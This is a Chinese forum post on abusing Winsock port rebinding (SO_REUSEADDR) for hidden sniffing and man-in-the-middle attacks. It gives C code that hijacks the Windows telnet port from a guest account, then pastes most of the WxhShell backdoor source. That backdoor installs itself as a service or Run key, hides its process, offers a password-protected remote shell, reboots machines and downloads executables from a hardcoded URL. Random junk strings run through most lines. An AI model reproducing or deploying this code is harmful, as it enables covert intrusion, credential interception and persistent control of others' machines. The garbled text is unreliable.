社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19181阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $GMva}@G`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w[/_o,R  
]ZbZ]  
  saddr.sin_family = AF_INET; f3p)Q<H>`(  
mBQp#-1\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "u H VX|`  
jNC@b>E?~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~8j4IO(  
.#4;em%7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =B/Ac0Y  
)R- e^Cb  
  这意味着什么?意味着可以进行如下的攻击: ) ]y^RrD  
JM& :dzyIP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8F;r$i2  
%xJ6t 5.-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gdx2&~  
GY~Q) Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Wf}x"*  
FEF $4)ROv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T1([P!g*  
bMrR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pO10L`|  
d~>d\K%v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,WA[HwY-  
H[u[3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WlF}R\N!  
 g%.;ZlK  
  #include mDG=h6y"V  
  #include ,~TV/l<  
  #include F4#^jat{  
  #include    _P:}]5-|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .O1Kwu  
  int main() kgQyG[u  
  { Ln4zy*v{  
  WORD wVersionRequested; aOOkC&%  
  DWORD ret;  (H*EZ  
  WSADATA wsaData; d*===~  
  BOOL val; 6z-&Zu7@  
  SOCKADDR_IN saddr; KJLC2,  
  SOCKADDR_IN scaddr; xV}ybRKV  
  int err; q ?qpUPzD  
  SOCKET s; ,5 A&  
  SOCKET sc; i+Fk  
  int caddsize; U~}cib5W5  
  HANDLE mt; #A@d;U%  
  DWORD tid;   PIthv [F  
  wVersionRequested = MAKEWORD( 2, 2 ); @5)THYAx4  
  err = WSAStartup( wVersionRequested, &wsaData ); {0ozpE*(  
  if ( err != 0 ) { #6'+e35^8  
  printf("error!WSAStartup failed!\n"); ;"1  
  return -1; br[n5  
  } W3h{5\d!  
  saddr.sin_family = AF_INET; P*kKeMl  
   DH*=IzcJf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vp_$Ft-R  
).8i*Ys,:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yaw33/iN  
  saddr.sin_port = htons(23); >+3tOv3:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w<o#/J9  
  { [? 1m6u;  
  printf("error!socket failed!\n"); M6MtE_E  
  return -1; f:K3 P[|  
  } IW&.JNcN  
  val = TRUE; aP}%&{iC*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h]w5N2$}?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qbunP!  
  { -gzY ~a  
  printf("error!setsockopt failed!\n"); jwW6m@+  
  return -1; L>PPAI  
  } %(v<aEQtt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {-'S#04  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4pw:O^v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R c.8j,]  
x#0B "{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) efnj5|JSV  
  { G#(+p|n  
  ret=GetLastError(); !J%m7 A  
  printf("error!bind failed!\n"); )tB1jcI;  
  return -1; .o_?n.H'&  
  } eN?:3cP#l  
  listen(s,2); sO;]l"{<  
  while(1) }8\"oA6  
  { =JK# "'  
  caddsize = sizeof(scaddr); |TE\]  
  //接受连接请求 6Y-sc*5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); SaA9)s  
  if(sc!=INVALID_SOCKET) i(pevu  
  { |#rP~Nj)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <zdo%~ba  
  if(mt==NULL) h5>38Kd  
  { {z j<nu  
  printf("Thread Creat Failed!\n"); zr1,A#BV  
  break; uV'w0`$y  
  } <Ky6|&!  
  } Ou'<9m!9  
  CloseHandle(mt); 9>1 $Jv3  
  } `tjH#W`  
  closesocket(s); DdG*eKC  
  WSACleanup(); ROfr  
  return 0; wsg u# as|  
  }   cz6\qSh\,  
  DWORD WINAPI ClientThread(LPVOID lpParam) F87aIJ.pGN  
  { wwI'n*Q'$  
  SOCKET ss = (SOCKET)lpParam; }ippi6b:r  
  SOCKET sc; h4 X>  
  unsigned char buf[4096]; H>/LC* 8-  
  SOCKADDR_IN saddr; _hy<11S;  
  long num; rdY/QvP0=  
  DWORD val; g'Id3 1r'  
  DWORD ret; F#az&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5uJ{#Zd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s/=.a2\  
  saddr.sin_family = AF_INET; ^HM9'*&KJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B<A=U r  
  saddr.sin_port = htons(23); iO?Sf8yJ:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *?Pbk+}%  
  { h+!   
  printf("error!socket failed!\n"); N!hS`<}  
  return -1; V(LE4P 1  
  } /cN. -lEo%  
  val = 100; k.d Q;v}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ue8k9%qV  
  { @N'0:0Nb_  
  ret = GetLastError(); {q}#  Sq  
  return -1; ji(Y?vhQt  
  } ly)b=ph&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "~uo4n~H  
  { G^ 2a<?Di  
  ret = GetLastError(); wV,l }Xb-  
  return -1; Gf|qc>j.b  
  } nG dEJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nYF *f  
  { mI[$c"!BD  
  printf("error!socket connect failed!\n"); 4)4E/q/5  
  closesocket(sc); 1hT!~'  
  closesocket(ss); *P mk1h2  
  return -1; Q:+cLl&;hB  
  } UFED*al#  
  while(1) !UV/p"CfX  
  { )&$Zt(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?[ts<Ltp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1~x=bphS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JnT1-=t.  
  num = recv(ss,buf,4096,0); 52L* :|b  
  if(num>0) T P5?%SlJ  
  send(sc,buf,num,0); ~{O9dEI  
  else if(num==0) O [81nlhS0  
  break; Q.N, Q`P  
  num = recv(sc,buf,4096,0); YVEin1]  
  if(num>0) \s[/{3  
  send(ss,buf,num,0); $7 08\!  
  else if(num==0) `PY>p!E  
  break; ZMVQo -=  
  } o@d+<6Um  
  closesocket(ss); [9O,C-Mk  
  closesocket(sc); 3V"y|q  
  return 0 ; o5 fXe}pl@  
  } ` iiZ  
t#p*{S 3u  
eZr}xo@9  
========================================================== l*yh(3~}  
A>c/q&WUk  
下边附上一个代码,,WXhSHELL >;;tX3(  
_cW (R,i  
========================================================== 6.!3g(w   
9b0M'x'W5  
#include "stdafx.h" M_4:~&N$  
$2M dxw5  
#include <stdio.h> WG_20JdJY  
#include <string.h> zJp@\Yo+  
#include <windows.h> A|D]e)/6+B  
#include <winsock2.h> \*_@`1m  
#include <winsvc.h> 4G%!t`? q  
#include <urlmon.h> ~<%/)d0  
-C7IUat<  
#pragma comment (lib, "Ws2_32.lib") fnUR]5\tc  
#pragma comment (lib, "urlmon.lib") A-"}aCmik  
bwm?\l.A  
#define MAX_USER   100 // 最大客户端连接数 Jhyb{i8RR  
#define BUF_SOCK   200 // sock buffer G|p3NhLgO=  
#define KEY_BUFF   255 // 输入 buffer ~4Gs\U:!Q  
kUdl2["MZ  
#define REBOOT     0   // 重启 A!K/92[#@  
#define SHUTDOWN   1   // 关机 5G\CT&cQR  
(j%d{y4  
#define DEF_PORT   5000 // 监听端口 E/MNz}+  
;,8bb(j  
#define REG_LEN     16   // 注册表键长度 l[2 d{r  
#define SVC_LEN     80   // NT服务名长度 `xhiG9mz~  
2nQrCdRC  
// 从dll定义API sc2nLyn$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G2nL#l~@)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B~_='0Gm[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;gh#8JkI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w :w  
+ !I7(gL  
// wxhshell配置信息 xz+Y1fYT  
struct WSCFG { ~)zoIM\  
  int ws_port;         // 监听端口 A-GRuC  
  char ws_passstr[REG_LEN]; // 口令 NdS6j'%B@7  
  int ws_autoins;       // 安装标记, 1=yes 0=no S[b)`Wi D  
  char ws_regname[REG_LEN]; // 注册表键名 )m-l&UK  
  char ws_svcname[REG_LEN]; // 服务名 >t/P^fr_F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JYbE(&l%de  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0RLyAC|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rv)!p~V8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3q>6gaTv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :\*<EIk(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }@ *Me+  
GnE%C2L -  
}; R?Dbv'lp>  
~ E) [!y  
// default Wxhshell configuration K8`M~P.  
struct WSCFG wscfg={DEF_PORT, LWB"}#vt  
    "xuhuanlingzhe", G36}4  
    1, U#O 6l-xe]  
    "Wxhshell", (;V=A4F-D  
    "Wxhshell", w>IYrSaa>  
            "WxhShell Service", FT1h\K|a  
    "Wrsky Windows CmdShell Service", 1`tE Hu.  
    "Please Input Your Password: ", LvJ')HG  
  1, D<rO:Er?*a  
  "http://www.wrsky.com/wxhshell.exe", VWlOMqL995  
  "Wxhshell.exe" U8Pnt|0M  
    }; R;P>_ei(LK  
<"uT=]wZ=  
// 消息定义模块 o@`& h} $  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [mSK!Y@u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^KU:5Bn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i>9/vwe  
char *msg_ws_ext="\n\rExit."; CjzfU*G  
char *msg_ws_end="\n\rQuit."; oRM,_  
char *msg_ws_boot="\n\rReboot..."; fb5]eec  
char *msg_ws_poff="\n\rShutdown..."; B/i`  
char *msg_ws_down="\n\rSave to "; \8uPHf_  
6?/$K{AI  
char *msg_ws_err="\n\rErr!"; <By R!Y  
char *msg_ws_ok="\n\rOK!"; 8t$a8 PE  
Phsdn`,  
char ExeFile[MAX_PATH]; ?-g=Rfpag  
int nUser = 0; OQ$77]XtvL  
HANDLE handles[MAX_USER]; Jlw oSe:S  
int OsIsNt; wX6VapFboI  
qAsZ,ik  
SERVICE_STATUS       serviceStatus; $X %GzrN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }2.^n{Y  
v hUn3|  
// 函数声明 qy`95^  
int Install(void); # E'g{.N  
int Uninstall(void); rsP3?.E  
int DownloadFile(char *sURL, SOCKET wsh); uf* sI  
int Boot(int flag);  0gBD  
void HideProc(void); rO% |PRP  
int GetOsVer(void); ?Uzs^rsb  
int Wxhshell(SOCKET wsl); "h/{YjUS  
void TalkWithClient(void *cs);  J9oGw P  
int CmdShell(SOCKET sock); xo0",i f8  
int StartFromService(void); ,.` ";='o  
int StartWxhshell(LPSTR lpCmdLine); WV5gH*uUa  
4-`C !q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =|n NC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DT #1*&-  
VVdgNT|}W  
// 数据结构和表定义 W"fdK_F\  
SERVICE_TABLE_ENTRY DispatchTable[] = )-824?Nl:  
{ k/vE|  
{wscfg.ws_svcname, NTServiceMain}, Q)}sX6TB  
{NULL, NULL} W'\{8&:!  
}; "v-\nAu  
Bv $;yR  
// 自我安装 tw8@&8"  
int Install(void) yV :DR  
{ vrsO]ctI  
  char svExeFile[MAX_PATH]; D"F5-s7  
  HKEY key; jxL5L[  
  strcpy(svExeFile,ExeFile); h3issi+N  
,cs`6Bd4  
// 如果是win9x系统,修改注册表设为自启动 i=%wZHc;  
if(!OsIsNt) { .J3lo:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `j088<?j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yzhr"5_  
  RegCloseKey(key); or/Y"\-!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y&\ J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); raGov`  
  RegCloseKey(key); xW{_c[oA  
  return 0; ^;B vd!  
    } 9)sGnD;  
  } '$~9~90?Z  
} #;U_ L`q  
else { 5AR\'||u  
+ )?1F  
// 如果是NT以上系统,安装为系统服务 >?yaG=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q('O@-HA  
if (schSCManager!=0) oUEpzv,J  
{ F]3iL^v  
  SC_HANDLE schService = CreateService Z>Nr"7k  
  ( ,,oiL  
  schSCManager, ;$(a+?  
  wscfg.ws_svcname, +bvY*^i  
  wscfg.ws_svcdisp, Q"CZ}B1<  
  SERVICE_ALL_ACCESS, MP?9k)f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ):eX*  
  SERVICE_AUTO_START, *&>1A A  
  SERVICE_ERROR_NORMAL, St/Hv[H'[E  
  svExeFile, )cB00*/  
  NULL, E/:<9xl  
  NULL, ?gjM]Ki%:  
  NULL, _ Onsfv  
  NULL, aYe,5dK>  
  NULL J'y*;@4l^:  
  ); 5<Cu-X  
  if (schService!=0) Ul OoMGg  
  { +L*2 6ar6  
  CloseServiceHandle(schService); l%lkDh!$"  
  CloseServiceHandle(schSCManager); 0 8vA;6zt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W,YzD&f=uS  
  strcat(svExeFile,wscfg.ws_svcname); V4f ~#Tp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g ZhE\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); noa?p&Y1m  
  RegCloseKey(key); [g/Hf(&  
  return 0; '=@O]7o~  
    } {) 4D1  
  } A[v]^pv'  
  CloseServiceHandle(schSCManager); q~.\NKc  
} Q4-d2I>0  
} 2|(J<H  
?stx3sZ  
return 1; ; P I=jp  
} /iNCb&[  
uXW<8( %W  
// 自我卸载 I-4csw<Qy  
int Uninstall(void) yInW?3  
{ BqK|4-Pf  
  HKEY key; k}l5v)m  
e{.2*>pH  
if(!OsIsNt) { A/%K=H?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c[?S}u|['  
  RegDeleteValue(key,wscfg.ws_regname); nK1XJp  
  RegCloseKey(key); p0? X R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =&xamA)  
  RegDeleteValue(key,wscfg.ws_regname); c*K-?n9YMz  
  RegCloseKey(key); -ZH]i}$  
  return 0; U/Z!c\r  
  } jE2k\\<a  
} "P.7FD  
} {w}PV5<  
else { q .nsGbl  
[3;J,P=&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m!a<\0^  
if (schSCManager!=0) %FLz}QW*  
{ W}+Q!T=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O[3J Px  
  if (schService!=0) &6FRw0GX  
  { =:v\}/  
  if(DeleteService(schService)!=0) { +Vt@~Z4K  
  CloseServiceHandle(schService); O*rKV2\  
  CloseServiceHandle(schSCManager); rPkV=9ull,  
  return 0; BgJ;\NV  
  } /A[AHJ<[?  
  CloseServiceHandle(schService); y _>HQs,:  
  } ;2@MPx  
  CloseServiceHandle(schSCManager); _sbZyL  
} ~<Uwum v  
} '81$8xxdY  
KnbT2  
return 1; _;W}_p}q{  
} m*  |3  
jY$Bns&.w  
// 从指定url下载文件 "d/x`Dx  
int DownloadFile(char *sURL, SOCKET wsh) B4pheKZ2  
{ 5G'X\iR  
  HRESULT hr; ^4x(a&  
char seps[]= "/"; *bDuRr?v9  
char *token; #?YQ&o~gZ  
char *file; "]JE]n}Ulg  
char myURL[MAX_PATH]; @fRB0m"3  
char myFILE[MAX_PATH]; F=Z|Ji#  
iW+ZI6@  
strcpy(myURL,sURL); O1Ey{2Q  
  token=strtok(myURL,seps); mWsVOf>g  
  while(token!=NULL) POfvs]  
  { ;gTdiwfgZ=  
    file=token; <tMiI)0%  
  token=strtok(NULL,seps); sKB])mf]  
  } hZVF72D26  
:R{Xd{?  
GetCurrentDirectory(MAX_PATH,myFILE); ]MfT5#(6h  
strcat(myFILE, "\\"); `]_#_  
strcat(myFILE, file); 'D-eFJ5  
  send(wsh,myFILE,strlen(myFILE),0); zK(9k0+s  
send(wsh,"...",3,0); R#1h.8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~ULuX"n  
  if(hr==S_OK) =<y$5"|  
return 0; mNc (  
else SWY?0Pu  
return 1; QB'-`GwL  
:-xp'_\L  
} HY~\e|o  
dMCV !$  
// 系统电源模块 b|u4h9  
int Boot(int flag) I{ ;s.2  
{ H\W60|z9  
  HANDLE hToken; ^j[>.D  
  TOKEN_PRIVILEGES tkp; *$Aneq0f  
K!7o#"GM  
  if(OsIsNt) { 25XD fi75  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iSUn}%YFz!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /PE3>"|wE  
    tkp.PrivilegeCount = 1; o_t2 Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \kF}E3~+#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eA$9)K1GO  
if(flag==REBOOT) { J~V`"uo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e57}.pF^  
  return 0; IfF<8~~E  
} 3:&!Q*i;  
else { -8HIsRh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l"*qj#FD  
  return 0; 6c^2Nl8e  
} QY8I_VF  
  } >7!4o9)c  
  else { Q[;!z1ur  
if(flag==REBOOT) { T-xcd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pR4{}=g,  
  return 0; Yn+/yz5k_  
} _Xlf}BE  
else { xop9*Z$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &dp(CH<De  
  return 0; B#&U5fSw+0  
} # 5v 2`|)  
} >(ku*  
sl}bNzT#  
return 1; Gn<s >3E  
} yd]W',c  
_*0!6?c  
// win9x进程隐藏模块 mhH[jO)  
void HideProc(void) F2:+i#lE  
{ ;El"dqH   
M}!7/8HUC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wy.2*+5FX0  
  if ( hKernel != NULL ) Sir7TQ4B  
  { .M!6${N);  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )7<JGzBZ1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tbJB0T|G  
    FreeLibrary(hKernel); 9`f]Rf"  
  } >:4}OylhM  
tQ< ou,   
return; T)6p,l  
} IVzJ|  
,@tY D(Z  
// 获取操作系统版本 \m1r(*Ar  
int GetOsVer(void) lsCD%P  
{ wA|m/SZx  
  OSVERSIONINFO winfo; 0R\lm<&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )}\jbh>RH  
  GetVersionEx(&winfo); ;hA>?o_i(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^&am]W;T  
  return 1; ,'v]U@WK  
  else :/c=."z.  
  return 0; (5]<t&M  
} F8$.K*tT  
B_i@D?bTD  
// 客户端句柄模块 |lm   
int Wxhshell(SOCKET wsl)  poGF  
{ lsU|xOB  
  SOCKET wsh; MLtfi{;LH  
  struct sockaddr_in client; jY-{hW+r  
  DWORD myID; s+YQ :>F  
u3(zixb  
  while(nUser<MAX_USER) Q@6OIE  
{ G4{ zt3{  
  int nSize=sizeof(client); PCF!Y(l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B4bC6$Lg  
  if(wsh==INVALID_SOCKET) return 1; *>h"}e41  
p 2It/O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wqx@/--E(  
if(handles[nUser]==0) "X4OUk  
  closesocket(wsh); c}kZ x1  
else A1Ia9@=Mf  
  nUser++; S75wtz)e  
  } hn{]Q@(I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >0~|iRySi  
r&@#,g  
  return 0; 75v 5/5zRn  
} Bwj^9J/ob  
} 1^/[?  
// 关闭 socket 6T! *YrS  
void CloseIt(SOCKET wsh) 'e^,#L_!o  
{ y/k6gl[`  
closesocket(wsh); IeLG/ fB  
nUser--; R$X1Q/#md  
ExitThread(0); }dX[u`zQ  
} ~McmlJzJG  
7dyGC:YuTL  
// 客户端请求句柄 -D?T0>  
void TalkWithClient(void *cs) xQ\/6|  
{ kE;h[No&K  
89*CoQ  
  SOCKET wsh=(SOCKET)cs; +ObP[F  
  char pwd[SVC_LEN]; 7(rNJPrU~=  
  char cmd[KEY_BUFF]; #n2'N^t  
char chr[1]; }J73{  
int i,j; HhDiGzOSi  
Tjma'3H*T0  
  while (nUser < MAX_USER) { eu@hmR8T  
|s`j=<rNQI  
if(wscfg.ws_passstr) { }u:@:}8K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |b7 v(Hx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _eb:"(m  
  //ZeroMemory(pwd,KEY_BUFF); q4'szDYO2  
      i=0; fw$/@31AP?  
  while(i<SVC_LEN) { ;wwhW|A  
8!2NZOZOS  
  // 设置超时 9\ZlRYnc=  
  fd_set FdRead; Y f:xM>.%  
  struct timeval TimeOut; };6[Byf  
  FD_ZERO(&FdRead); nAPSs]D  
  FD_SET(wsh,&FdRead); {G&*\5W  
  TimeOut.tv_sec=8; Kmc*z (Q  
  TimeOut.tv_usec=0; ~Mbo`:>(4v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =)5O(h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ((&_m9a  
9g3e( z@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zs|R#?a=  
  pwd=chr[0]; 0$NcxbM  
  if(chr[0]==0xd || chr[0]==0xa) { S L<P`H|  
  pwd=0; Vp{! Ft8>  
  break; A:PQIcR;V  
  } Wd#r-&!6j  
  i++; QH@?.Kb_qU  
    } G8dC5+h  
,e$]jC<sv2  
  // 如果是非法用户,关闭 socket FDBj<uXfM|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ts%XjCN[  
} 7s@%LS  
WP[h@#7<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4>eY/~odq]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !)gTS5Rh:  
6$$4!R-  
while(1) { c<-F_+[  
11t+ a,fM  
  ZeroMemory(cmd,KEY_BUFF); .RF ijr  
DuX7  
      // 自动支持客户端 telnet标准   {`?C5<r  
  j=0; 1><@$kVMm~  
  while(j<KEY_BUFF) { l)tK/1 W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v zgR3r  
  cmd[j]=chr[0]; 2L"$p?  
  if(chr[0]==0xa || chr[0]==0xd) { u`?MV2jU2  
  cmd[j]=0; :EJ8^'0Q  
  break; -kFEVJbUyc  
  } WO$9Svh8  
  j++; VqGmZ|+8  
    } Ey<vvZ  
~Sy/q]4ys*  
  // 下载文件 5-'jYp/  
  if(strstr(cmd,"http://")) { uqe{F+;8&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #tX\m ;  
  if(DownloadFile(cmd,wsh)) =v^LShD2^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %+Hhe]J ld  
  else c6/+Ye =h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wy1#K)LRb  
  } &Ui*w%  
  else { IxN0m7  
_2uRY  
    switch(cmd[0]) { !bs{/?  
  ^ [FK<9  
  // 帮助 lh^-L+G:Ok  
  case '?': { L3}n(K AJj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M~% ~y`D^  
    break; "<['W(  
  } }]O* yFR{j  
  // 安装 OXu*w l(z  
  case 'i': { pT3p!/pl3  
    if(Install()) tuH8!.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Itq248+Ci  
    else @ 3n;>oi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <[iw1>  
    break; *Iy5 V7`KU  
    } 5?6U@??]  
  // 卸载 D<=x<.  
  case 'r': { R>Q&Ax  
    if(Uninstall()) Ja1[vO"YgP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;k1 \-  
    else {2jetX`@h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <X@XbM  
    break; w7Fz(`\  
    } uu0"k<Tp  
  // 显示 wxhshell 所在路径 Pnf|9?~$H  
  case 'p': { uWm,mGd9  
    char svExeFile[MAX_PATH]; G bW1Lq&"  
    strcpy(svExeFile,"\n\r"); t~_j+k0K#  
      strcat(svExeFile,ExeFile); `zf,$67>1  
        send(wsh,svExeFile,strlen(svExeFile),0); 2 I:x)  
    break; %C8p!)Hu  
    } (4:&tm/;  
  // 重启 ^G :}%4  
  case 'b': { j}P xq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )v\zaz  
    if(Boot(REBOOT)) M"XILNV-~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); poLzgd  
